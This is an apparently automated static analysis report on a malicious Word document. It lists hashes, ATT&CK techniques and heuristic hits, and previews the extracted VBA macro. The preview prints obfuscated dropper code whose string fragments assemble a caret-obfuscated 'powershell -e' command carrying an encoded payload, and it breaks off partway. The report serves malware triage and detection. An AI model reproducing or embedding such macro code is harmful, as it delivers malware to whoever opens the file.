Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f2b683756c91d38…

MALICIOUS

Office (OLE)

74.0 KB Created: 2017-10-30 15:13:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: d12499032a4ecea1d9ebe88f5269b269 SHA-1: 8ccafd134d7fa01f87c2a95189b7d33f1ac602c9 SHA-256: 6f2b683756c91d387ff2d841b07e4f7f368bc0405f63c6690fce6f43bd74e894
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic firing, indicating an attempt to execute arbitrary commands. This is further supported by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic, which flags auto-executing VBA code that calls execution tokens like Shell(). The presence of a VBA macro and the use of Shell() strongly suggest the document is designed to download and execute a secondary payload, aligning with common phishing or malware delivery techniques.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31582 bytes
SHA-256: 4dd92843478f863f7382ed3a4921fb56234b14d07b085c88a890e1b4c9190d1e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 48 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EIbilLQBk"
Function DopjpmRwc()
lTIWKfwvpJw = "AH6ZNEoAMQAxADYAYgA0ADUAYgAUY0N"
MMCWwizLo = Mid(lTIWKfwvpJw, 7, 21)
XpCTJrUuJ = MMCWwizLo
THPVFFvSTr = "HTVE42W4UUAZAAxADAANgBDADEAMAAxAFoAOQA5AGIAMQAxADYAcAAzADIA77YNHC"
FbvzmsBU = Mid(THPVFFvSTr, 11, 49)
wUFVT = FbvzmsBU
rVzpdviDsM = "62P2DIBORZJO4GFAADEAM30DRF4S9RI86UVHQKOJN2WZ"
QhlHavdI = Mid(rVzpdviDsM, 17, 5)
zvbAD = QhlHavdI
dUTcWzwW = "CVwA0ADYAWgA2ADgAOgAxADEAMQBwADEAMQA5AGIAMQAxADAAQwAxADAAOABwADEAMQAxAGQAOQA3ADoAMQAwADAAYgA3ADAAZAAxADAANQBXRO6B1Z54VS3VPC8V"
nvtzlQufwfi = Mid(dUTcWzwW, 2, 108)
LiPNzHr = nvtzlQufwfi
NFPQtoFV = "315NBWB6C1OTQMAAxAGQAMQAwADkAdgAxADEAMgBrADMAMgB2ADQAMwA6ADMAMgBrADMAOQA6ADkAMgBwADMAOQBwADMAMgBXADQAMwA6ADMAMgBiADMANgBXADEAMQAwAGsAOQA3AGQAMQAwADkAWgAxADAAMQBXADMA4R1QXOXXG4LMNM9W0EXKXVA40K"
NWFUiMRliO = Mid(NFPQtoFV, 14, 152)
GdLLZj = NWFUiMRliO
AjkoU = "YO9CZC8DYAdgA0ADAAQAAzADkAdgA0ADQAZAAzADkAQwA0ADEAWgA1ADkAcAAzADYAQAAxADEAMABkADkANwA6ADEAMAA5AGsAMQAwADEAcAAzADIAQAA2ADEAZAAzADIAYgAzADYAcAAxADEANABDADkANwBXADEAMQAwADoAMQAwADAAYgAxADEAMQBXADEAMAA5AHYANAA2AGQAMQAxADAAYgAxADAAMQBaADEAMgAwAHYAMQAxADYAZAA0ADAAdgA0ADkAQwA0ADQAOgAzADIAOgA1ADQAWgA1ADKIEEBWO7"
JVLCQjuDrM = Mid(AjkoU, 8, 289)
jMKRSOVjN = JVLCQjuDrM
wHApf = "EBXAAB5HW65WJAxADIANQBkADEAMgA1ACcALgBTAHAAbABJAFQAKAAgACcAawBAAGIAZAA6AHYAWgBDAHAAVwAnACAAKQB8ACAARgBPAHIARQBhAEMAaAAtAG8AQgBqAEUAQwBZJ6YR"
CihVP = Mid(wHApf, 14, 121)
GYWBQE = CihVP
MwzzYbkJz = "4K9I2ZW3GAFoAOAA4AHYANAA3AEMAMwA5AGIANAA2AHAAOAAzAHAAMQAxADIAQAAxADAAOABAADEAMAA1AFcAMQAxAS7N7Y75ZHWVCJ9R"
GGkfEMN = Mid(MwzzYbkJz, 10, 81)
HvduwIqiLm = GGkfEMN
sNrZAjbT = "RB7N3AEMAMQAwADQAYgA3ADkAdgA0ADcADDHXCVH0JM08P7CDP7VRL7G59C05"
XJFAjKzR = Mid(sNrZAjbT, 5, 29)
lZMHWtHjhcD = XJFAjKzR
wPqubNvLkhQ = "6GAREL1OZNTA1TH12AFoAMQAxADYAQwAxADEAMgBaADUAOAA6ADQANwBXADQANwBaADEAMQA0AGQAMQAxADEAdgAxADEANQBrADEAMQA2AFoANAA2AFcAOQA3AFcAMQAxADUAQwA0ADcAZAA4ADQAYgAxADAANABwADEAMQA3AHAAOQAIVSX82TBPL2C1"
rnGfKjn = Mid(wPqubNvLkhQ, 17, 160)
znNpnCUv = rnGfKjn
aANhBwAPvrw = "32W4ST6I6AW0YMHSBQADP2AFoAMwAyAHAANgAxAHAAMwAyAFcAMQAxADAAZAAxADAAMQBXADEAMQA5AEMANAA1AGsAMQAxADEAOgA5ADgAQAAxADAANgBwADEA4VKP9PHZ78"
WYiEOOOjs = Mid(aANhBwAPvrw, 22, 101)
DCEZrbpjL = WYiEOOOjs
msKIHvwLdcG = "MC2QyAEMAMwA2AFoAMQAxADcAdgAxADEANABrADEAMAA4AGsAMQAxADUAWgA0ADEAcAAxADIAMwBiADEAMQA2AFoAMQAxADQAYgAxADIAMQBiADEAMgAzAFoAMwA2ADoAMQAxADkAOgAxADAAMQBDADkAOABrADkAOQBiADEAMAA4ADoAMQAwADUAdgAxADAAMQBXADEAMQAwAEMAMQAxADYAZXQZTM8UHOZ2"
aLfkROZd = Mid(msKIHvwLdcG, 5, 213)
VqZAEV = aLfkROZd
JkjFEAmRCkI = "G4KJ05JLEKABwADMANgBkADEAMQA0AGQAOQA3AGsAMQAxZIP07UE"
ZhiXW = Mid(JkjFEAmRCkI, 12, 34)
biOMiMNWUaG = ZhiXW
bizWk = "SSRRIMNG8E1BEMZL51VYGVZK5ZSQKwADYAa66HTYSA"
ciuROPsu = Mid(bizWk, 30, 6)
OVCGMnI = ciuROPsu
kOkujb = "D38UAxADYAYgAzADIAawAzADYAOgA5ADUAVwA0ADYAWgA2ADkAdgAxADIAMABXADkAOQBaADEAMAMSPMRCDANQ1B8V1QYC5J30PELBZ0RI9W"
wATTzAK = Mid(kOkujb, 5, 72)
GJzfmhCXXj = wATTzAK
dMfsjXdhqM = "E2FW0XRUML2QTU3A5AEAAMQAxADYAVwAzADIAcAAY9RWM"
RnFQUR = Mid(dMfsjXdhqM, 16, 25)
CFswoTdfP = RnFQUR
bMmWz = "MNDI1SF72set %qzPFnawAY%=HiKBlNKJw&&set %DopjpmRwc%=p^o^w^e^r^s&&set %RDmfrOSzN%=hISABWHkU&&set %PpzrawbRP%=he^l^l&&set %zTQhDBlls%=KSzhwNwYB&&!%DopjpmRwc%!!%PpzrawbRP%! ^-^e WwBzAFQAcgBJAE4ARwBdADoAOgBqAG8AaQBuACgAJwAnACAALAAoACcAMwA2AEMAMQAxADkAVwAxADEANQBkADkAOQBrADEAMQA0AGIAMQAwADUAQwAxADEAMEMBTO741KKIBCH4NBKO5DFHT23"
JcfnHCi = Mid(bMmWz, 10, 287)
ZRzUrjTvwD = JcfnHCi
BCJLTpbp = "HWL7B083NxADQAOgAxADAAMwBrADQANQBAADEAMQA4AGIAOQA3AEMAMQAwADgAcAAxADAAMQBiADEAMQA0AGIAMQAwADUAWgAxADEANwBaADEAMQA1AGQANAA2AEAAMQAwADAAWgAxADAAMQB2ADQANwBAADEAMQAyAFcAMQAyADIAVwA5ADAAdgA0ADcAZAA0ADQAVwAxADAANABAADEAMQA2AFoAMQAxADYAVwAxADEAMgBXADUAOABXADQANwBkADQANwBrADEAMQA3AFoAMQAxADQAOgA51XU"
pmLPdMo = Mid(BCJLTpbp, 10, 281)
NjRDfPbQG = pmLPdMo
HvJUnf
... (truncated)

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